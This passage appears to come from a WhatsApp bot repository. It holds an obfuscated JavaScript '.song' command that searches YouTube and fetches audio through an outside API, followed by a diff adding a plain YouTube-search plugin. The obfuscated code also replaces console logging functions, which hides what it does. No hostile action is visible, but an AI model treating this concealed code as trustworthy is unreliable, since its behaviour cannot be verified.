_0x4a8d27(_0x5aa356,_0x227343,_0x4cf1f7,_0x4c0549){return _0x1e7b(_0x4cf1f7- -0x24f,_0x4c0549);}if(_0x5442ef[_0x4a8d27(-0x1a,-0x8a,-0x55,-0x82)](_0x5442ef[_0x23effa(0x49e,0x484,0x4b8,0x48c)],_0x5442ef[_0x23effa(0x49f,0x4ab,0x4bb,0x4b0)])){if(_0xda4e9c){const _0xb3765a=_0x21950f[_0x4a8d27(-0x70,-0x44,-0x62,-0x48)](_0x2e18a3,arguments);return _0xf7ab6=null,_0xb3765a;}}else{if(_0x4e956a){if(_0x5442ef[_0x4a8d27(-0x73,-0xa,-0x3a,-0x8)](_0x5442ef[_0x23effa(0x446,0x45a,0x47d,0x478)],_0x5442ef['GyHKC'])){const _0x23b5aa=_0x4e956a[_0x4a8d27(-0x48,-0x79,-0x62,-0x2e)](_0x258c53,arguments);return _0x4e956a=null,_0x23b5aa;}else{const _0x62b569=_0x571261[_0x4a8d27(-0xb7,-0x7e,-0x97,-0xcd)](_0x31668f,_0x571261[_0x4a8d27(-0x61,-0x84,-0x63,-0x9d)](_0x571261[_0x23effa(0x489,0x483,0x495,0x4bc)]+_0x571261[_0x23effa(0x425,0x472,0x461,0x470)],');'));_0x9fd5c3=_0x62b569();}}}}:function(){};return _0x8fefc8=![],_0x40fc7b;};}()),_0x4bb3e8=_0x10e8a2(this,function(){const _0x5bf958={'nLDNQ':function(_0xa9f881,_0x1457b3){return _0xa9f881(_0x1457b3);},'IJXNU':_0xd19329(0x17b,0x171,0x148,0x13f)+_0xd19329(0x166,0x16f,0x1b1,0x198)+'rn\x20this\x22)('+'\x20)','naYma':function(_0x27a79c){return _0x27a79c();},'CwYuW':function(_0x2af646,_0x40ebcb){return _0x2af646===_0x40ebcb;},'SpplL':'LnxMw','IEDPR':'log','skjFS':'info','nnSFs':_0xd19329(0x165,0x15e,0x167,0x175),'srDZM':'trace','MZlNW':function(_0x4a3068,_0x4f0230){return _0x4a3068<_0x4f0230;}};function _0x3faac7(_0xbf5c6a,_0x185ecd,_0x1a3f67,_0x5a796a){return _0x1e7b(_0x1a3f67- -0x2b8,_0x185ecd);}function _0xd19329(_0x107363,_0x230a60,_0x38f7db,_0x3eb564){return _0x1e7b(_0x3eb564- -0x65,_0x107363);}let _0x488e30;try{const _0x450001=_0x5bf958[_0x3faac7(-0xb7,-0xa2,-0xb8,-0xb7)](Function,_0xd19329(0x163,0x198,0x19f,0x19c)+_0xd19329(0x14e,0x162,0x16e,0x158)+_0x5bf958['IJXNU']+');');_0x488e30=_0x5bf958[_0x3faac7(-0x130,-0x100,-0x112,-0x10e)](_0x450001);}catch(_0xa5c4cb){if(_0x5bf958[_0xd19329(0x17a,0x16e,0x194,0x194)](_0x5bf958[_0x3faac7(-0xf5,-0x115,-0xd9,-0xbd)],_0xd19329(0x172,0x1ad,0x168,0x16f)))_0x488e30=window;else{const _0x2614e5=_0x5ddbdd[_0x3faac7(-0xf2,-0xa7,-0xcb,-0x96)](_0x339bb9,arguments);return _0x497ea7=null,_0x2614e5;}}const _0x3c2dfa=_0x488e30[_0xd19329(0x172,0x1c4,0x196,0x1ac)]=_0x488e30[_0x3faac7(-0x9b,-0x7b,-0xa7,-0xcf)]||{},_0x53fac9=[_0x5bf958[_0xd19329(0x176,0x1e3,0x1e3,0x1af)],_0x3faac7(-0xf5,-0xd2,-0xc4,-0x89),_0x5bf958[_0x3faac7(-0xc7,-0x9c,-0xb4,-0xd6)],'error',_0x5bf958[_0xd19329(0x1d9,0x1d9,0x19c,0x1ab)],_0xd19329(0x16a,0x191,0x17a,0x159),_0x5bf958[_0xd19329(0x142,0x15c,0x184,0x156)]];for(let _0x127335=0x6*0x4ca+-0x3*0x17e+0x45*-0x5a;_0x5bf958[_0x3faac7(-0xdf,-0xb4,-0xa6,-0x82)](_0x127335,_0x53fac9[_0x3faac7(-0x89,-0xba,-0xac,-0xa0)]);_0x127335++){const _0xc6974b=_0x10e8a2[_0xd19329(0x15f,0x153,0x182,0x167)+'r'][_0x3faac7(-0x12e,-0xcc,-0xfc,-0x117)]['bind'](_0x10e8a2),_0x564eed=_0x53fac9[_0x127335],_0x4c7170=_0x3c2dfa[_0x564eed]||_0xc6974b;_0xc6974b[_0xd19329(0x189,0x192,0x17f,0x155)]=_0x10e8a2['bind'](_0x10e8a2),_0xc6974b['toString']=_0x4c7170[_0x3faac7(-0x140,-0xf1,-0x11c,-0x10d)][_0xd19329(0x19f,0x1b6,0x14d,0x17c)](_0x4c7170),_0x3c2dfa[_0x564eed]=_0xc6974b;}});_0x4bb3e8();const config=require(_0x38634f(0x1c4,0x21e,0x1ca,0x1e2)),{cmd}=require(_0x38634f(0x216,0x20d,0x1d3,0x1f2));function _0x38634f(_0x2cdfb8,_0x11e4b6,_0x5755e4,_0x427c9b){return _0x1e7b(_0x427c9b-0x2b,_0x2cdfb8);}const {ytsearch}=require(_0x164f15(-0x1f,-0x2,-0x17,-0x36)+_0x164f15(0x11,-0x33,-0xe,-0x10)+'s');function _0x1e7b(_0x554007,_0xe02066){const _0x1a44b3=_0x30b0();return _0x1e7b=function(_0x30b07b,_0x1e7b88){_0x30b07b=_0x30b07b-(-0x1d0a+-0x65*0x1+0x1f0a);let _0x305895=_0x1a44b3[_0x30b07b];return _0x305895;},_0x1e7b(_0x554007,_0xe02066);}function _0x164f15(_0x39e683,_0x26ad67,_0x162aa8,_0x12a55f){return _0x1e7b(_0x162aa8- -0x1be,_0x26ad67);}const _0x57fd4a={};_0x57fd4a['pattern']='sg',_0x57fd4a[_0x38634f(0x209,0x1fe,0x1e0,0x20f)]=[_0x164f15(0x15,-0x14,0x17,0x44),'song'],_0x57fd4a[_0x164f15(0x9,-0xd,0x1,-0x12)]='๐ŸŽถ',_0x57fd4a[_0x38634f(0x1e8,0x201,0x216,0x1ee)]=_0x164f15(0x12,0x72,0x40,0x72)+'ouTube\x20son'+'g',_0x57fd4a['category']='main',_0x57fd4a[_0x38634f(0x210,0x20c,0x20c,0x231)]='.song\x20<\x20Yt'+'\x20url\x20or\x20Na'+_0x38634f(0x1ba,0x1b8,0x212,0x1dc),_0x57fd4a['filename']=__filename,cmd(_0x57fd4a,async(_0x733173,_0x25da73,_0x183db0,{from:_0x100575,prefix:_0xbe4ab1,quoted:_0x47368e,q:_0x4d271f,reply:_0xf88452})=>{function _0x4bbb11(_0x373a0b,_0x35d09b,_0x37ec5f,_0x37ef5b){return _0x164f15(_0x373a0b-0x2b,_0x35d09b,_0x37ef5b-0x541,_0x37ef5b-0x78);}const _0x583a1e={'XIrMD':function(_0xd8dcf7,_0x64c6de){return _0xd8dcf7(_0x64c6de);},'VwCwd':function(_0x17ca43,_0x55c37a){return _0x17ca43+_0x55c37a;},'lXHdS':'{}.constru'+'ctor(\x22retu'+_0x53f0a9(0x31f,0x32e,0x311,0x2d8)+'\x20)','vxwtq':function(_0xfcd370){return _0xfcd370();},'dQoyv':_0x53f0a9(0x306,0x34c,0x33b,0x36f),'bZGub':_0x53f0a9(0x36e,0x389,0x362,0x32f),'COuIY':'error','KFzAQ':_0x53f0a9(0x346,0x358,0x348,0x35f),'rIfpx':_0x53f0a9(0x2ff,0x355,0x32c,0x2fa),'bwbjf':function(_0x14681f,_0x9418b2){return _0x14681f<_0x9418b2;},'XGpWa':_0x4bbb11(0x55b,0x579,0x52f,0x563)+'เนฮฝฮนษ–ั”\x20๐€\x20๐˜สˆ'+_0x4bbb11(0x573,0x534,0x55e,0x54b)+'ฦžอ›g\x20๐ฮฑะผั”.*','HgeFA':_0x53f0a9(0x36a,0x368,0x354,0x353)+'\x20found!','KshKk':function(_0x1642b2,_0x42cd69){return _0x1642b2(_0x42cd69);},'lOdTh':function(_0x484312,_0x4cfea5){return _0x484312!==_0x4cfea5;},'ofzRt':'jgorV','DRIAi':'Failed\x20to\x20'+_0x4bbb11(0x557,0x526,0x56e,0x560)+_0x53f0a9(0x340,0x36e,0x341,0x33e)+_0x53f0a9(0x38a,0x378,0x357,0x38b)+_0x53f0a9(0x320,0x34f,0x33c,0x36f),'JGnQE':_0x4bbb11(0x50b,0x550,0x50e,0x52e),'nGPyZ':function(_0x33599f,_0x2f30f5){return _0x33599f(_0x2f30f5);}};function _0x53f0a9(_0x46252d,_0x3d6c03,_0x172016,_0x363dba){return _0x38634f(_0x363dba,_0x3d6c03-0x97,_0x172016-0xab,_0x172016-0x143);}try{if(!_0x4d271f)return await _0x583a1e[_0x4bbb11(0x57c,0x5af,0x53a,0x573)](_0xf88452,_0x583a1e['XGpWa']);const _0x5bae8e=await _0x583a1e[_0x53f0a9(0x36f,0x339,0x35e,0x34e)](ytsearch,_0x4d271f);if(_0x583a1e[_0x53f0a9(0x3a3,0x341,0x377,0x369)](_0x5bae8e[_0x4bbb11(0x56c,0x5a6,0x59f,0x588)]['length'],0x3*0x525+-0x23b1+0x39*0x5b))return _0x583a1e[_0x53f0a9(0x398,0x325,0x35e,0x321)](_0xf88452,_0x583a1e[_0x53f0a9(0x330,0x329,0x309,0x2eb)]);let _0x24353e=_0x5bae8e[_0x53f0a9(0x36a,0x3a6,0x373,0x380)][0x1a48+-0xb*-0x109+-0x25ab],_0x3d3288='https://ap'+'is.davidcy'+_0x4bbb11(0x56e,0x564,0x56c,0x531)+_0x4bbb11(0x58f,0x54a,0x568,0x586)+_0x53f0a9(0x349,0x341,0x378,0x369)+_0x583a1e[_0x4bbb11(0x5a0,0x565,0x542,0x573)](encodeURIComponent,_0x24353e[_0x53f0a9(0x37a,0x31d,0x356,0x354)]),_0x1f471f=await _0x583a1e[_0x4bbb11(0x5a7,0x543,0x535,0x56e)](fetch,_0x3d3288),_0x4b8ffd=await _0x1f471f[_0x4bbb11(0x53f,0x54e,0x5a3,0x566)]();if(_0x4b8ffd['status']!==-0x138b+-0x2*0x4eb+0x7*0x44f||!_0x4b8ffd[_0x53f0a9(0x351,0x34b,0x344,0x380)]||!_0x4b8ffd[_0x53f0a9(0x334,0x388,0x363,0x36e)]['downloadUr'+'l']){if(_0x583a1e[_0x53f0a9(0x321,0x340,0x30c,0x321)](_0x583a1e[_0x4bbb11(0x514,0x56d,0x574,0x543)],'jgorV')){let _0xc35b87;try{const _0x175d0d=WaooON[_0x53f0a9(0x327,0x374,0x35e,0x372)](_0x153c0c,WaooON[_0x53f0a9(0x37f,0x31f,0x345,0x32e)](WaooON[_0x4bbb11(0x561,0x536,0x583,0x55a)]('return\x20(fu'+_0x53f0a9(0x2fe,0x2fe,0x32b,0x320),WaooON['lXHdS']),');'));_0xc35b87=WaooON[_0x53f0a9(0x315,0x32a,0x338,0x310)](_0x175d0d);}catch(_0x435022){_0xc35b87=_0x3b98ba;}const _0x23e4f8=_0xc35b87[_0x53f0a9(0x35d,0x361,0x37f,0x39a)]=_0xc35b87[_0x4bbb11(0x5a3,0x5c5,0x57a,0x594)]||{},_0xded50b=[WaooON[_0x53f0a9(0x311,0x306,0x334,0x349)],WaooON[_0x4bbb11(0x55e,0x523,0x4f6,0x525)],_0x4bbb11(0x5af,0x56e,0x59f,0x58e),WaooON[_0x4bbb11(0x50c,0x53e,0x502,0x52c)],WaooON[_0x4bbb11(0x5a4,0x55b,0x553,0x568)],WaooON[_0x53f0a9(0x337,0x33c,0x318,0x329)],_0x4bbb11(0x5b3,0x5ac,0x560,0x590)];for(let _0x5d44df=-0x4*0x5ba+0x1*-0xb93+0x4ed*0x7;WaooON[_0x4bbb11(0x55a,0x5a4,0x598,0x58c)](_0x5d44df,_0xded50b['length']);_0x5d44df++){const _0x3323ed=_0xc1edd1['constructo'+'r'][_0x4bbb11(0x55a,0x56a,0x527,0x53f)]['bind'](_0x20a7c9),_0x59d022=_0xded50b[_0x5d44df],_0x52278a=_0x23e4f8[_0x59d022]||_0x3323ed;_0x3323ed[_0x53f0a9(0x2fb,0x2f1,0x328,0x31b)]=_0x4b662d['bind'](_0x32ea42),_0x3323ed[_0x4bbb11(0x4ec,0x50c,0x515,0x51f)]=_0x52278a[_0x4bbb11(0x4f0,0x550,0x531,0x51f)][_0x53f0a9(0x349,0x378,0x34f,0x343)](_0x52278a),_0x23e4f8[_0x59d022]=_0x3323ed;}}else return _0x583a1e[_0x53f0a9(0x32f,0x38d,0x35e,0x332)](_0xf88452,_0x583a1e[_0x53f0a9(0x302,0x2f5,0x321,0x35b)]);}let _0x4a41f1=_0x53f0a9(0x317,0x327,0x34c,0x381)+_0x24353e['title']+'*';const _0x3009a2={};_0x3009a2['url']=_0x24353e[_0x4bbb11(0x533,0x555,0x55b,0x56d)];const _0x1faa06={};_0x1faa06[_0x53f0a9(0x2dd,0x2f9,0x30e,0x30b)]=_0x3009a2,_0x1faa06[_0x53f0a9(0x2df,0x30c,0x31a,0x327)]=_0x4a41f1;const _0x2f674a={};_0x2f674a[_0x4bbb11(0x570,0x549,0x530,0x554)]=_0x25da73,await _0x733173[_0x4bbb11(0x5a0,0x543,0x599,0x576)+'e'](_0x100575,_0x1faa06,_0x2f674a);const _0x188db7={};_0x188db7[_0x4bbb11(0x554,0x592,0x553,0x56b)]=_0x4b8ffd[_0x53f0a9(0x38d,0x334,0x363,0x35e)][_0x4bbb11(0x56e,0x58f,0x586,0x585)+'l'];const _0x31a4c1={};_0x31a4c1[_0x4bbb11(0x551,0x561,0x582,0x545)]=_0x188db7,_0x31a4c1[_0x4bbb11(0x5a1,0x5be,0x583,0x58a)]=_0x583a1e[_0x53f0a9(0x367,0x358,0x349,0x36e)],_0x31a4c1['fileName']=_0x24353e[_0x4bbb11(0x56b,0x53c,0x508,0x537)]+_0x53f0a9(0x34b,0x34f,0x332,0x30c);const _0x24e0a3={};_0x24e0a3[_0x4bbb11(0x540,0x581,0x57e,0x554)]=_0x25da73,await _0x733173['sendMessag'+'e'](_0x100575,_0x31a4c1,_0x24e0a3);}catch(_0x323860){console['log'](_0x323860),_0x583a1e[_0x4bbb11(0x554,0x587,0x55e,0x572)](_0xf88452,_0x53f0a9(0x38b,0x338,0x35f,0x364)+_0x53f0a9(0x332,0x313,0x324,0x2f0)+_0x53f0a9(0x35a,0x38b,0x366,0x386)+'again\x20late'+'r.');}}); diff --git a/plugins/yts.js b/plugins/yts.js new file mode 100644 index 0000000000000000000000000000000000000000..b9140749825ec173739c11778198de49647eb59b --- /dev/null +++ b/plugins/yts.js @@ -0,0 +1,41 @@ + + +const config = require('../config') +const l = console.log +const { cmd, commands } = require('../command') +const dl = require('@bochilteam/scraper') +const ytdl = require('yt-search'); +const fs = require('fs-extra') +var videotime = 60000 // 1000 min +const { getBuffer, getGroupAdmins, getRandom, h2k, isUrl, Json, runtime, sleep, fetchJson} = require('../lib/functions') +cmd({ + pattern: "yts", + alias: ["ytsearch"], + use: '.yts sameer kutti', + react: "๐Ÿ”Ž", + desc: "Search and get details from youtube.", + category: "search", + filename: __filename + +}, + +async(conn, mek, m,{from, l, quoted, body, isCmd, umarmd, args, q, isGroup, sender, senderNumber, botNumber2, botNumber, pushname, isMe, isOwner, groupMetadata, groupName, participants, groupAdmins, isBotAdmins, isAdmins, reply}) => { +try{ +if (!q) return reply('*Please give me words to search*') +try { +let yts = require("yt-search") +var arama = await yts(q); +} catch(e) { + l(e) +return await conn.sendMessage(from , { text: '*Error !!*' }, { quoted: mek } ) +} +var mesaj = ''; +arama.all.map((video) => { +mesaj += ' *๐Ÿ–ฒ๏ธ' + video.title + '*\n๐Ÿ”— ' + video.url + '\n\n' +}); +await conn.sendMessage(from , { text: mesaj }, { quoted: mek } ) +} catch (e) { + l(e) + reply('*Error !!*') +} +}); diff --git a/sessions/temp b/sessions/temp new file mode 100644 index 0000000000000000000000000000000000000000..8b137891791fe96927ad78e64b0aad7bded08bdc --- /dev/null +++ b/sessions/temp @@ -0,0 +1 @@ +